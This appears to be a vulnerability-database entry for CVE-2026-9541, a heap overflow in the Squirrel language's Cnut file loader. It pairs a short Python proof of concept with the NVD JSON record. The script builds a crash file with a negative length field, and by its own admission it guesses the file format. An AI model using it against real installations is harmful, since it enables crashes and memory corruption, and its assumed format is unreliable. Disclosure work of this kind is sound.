CVE-2026-9541

import struct # Generate a malformed Cnut file to trigger the negative length OOB in ReadObject # This is a conceptual PoC based on the vulnerability description. def generate_poc(filename): with open(filename, 'wb') as f: # generic header placeholder (if any) f.write(b'CNUT') # Constructing a block that triggers the ReadObject vulnerability # The vulnerability is triggered by a negative length field # Assuming a structure where a 4-byte integer represents length # Write a negative length (e.g., -1 or 0xFFFFFFFF) negative_length = struct.pack('<i', -1) f.write(negative_length) # Write junk data to attempt the overflow # The function will try to copy a massive amount of data due to the negative length junk_data = b'A' * 1000 f.write(junk_data) print(f"[+] PoC file generated: {filename}") print(f"[*] Load this file in Squirrel to trigger the heap overflow.") if __name__ == "__main__": generate_poc("crash.cnut")

{"cve": {"id": "CVE-2026-9541", "sourceIdentifier": "[email protected]", "published": "2026-05-26T14:16:46.007", "lastModified": "2026-05-27T18:48:38.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Squirrel up to 3.2. Impacted is the function ReadObject of the file squirrel/sqobject.cpp of the component Cnut File Handler. Performing a manipulation results in heap-based buffer overflow. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:squirrel-lang:squirrel:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.2", "matchCriteriaId": "DDA9B279-8931-4C68-9500-534EAB17584C"}]}]}], "references": [{"url": "https://github.com/albertodemichelis/squirrel/issues/327", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation", "Patch"]}, {"url": "https://github.com/biniamf/pocs/tree/main/squirrel-sqobject-readobject-neg-len-oob", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://vuldb.com/submit/814826", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry", "Exploit"]}, {"url": "https://vuldb.com/vuln/365602", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/365602/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://github.com/albertodemichelis/squirrel/issues/327", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Mitigation", "Patch"]}]}}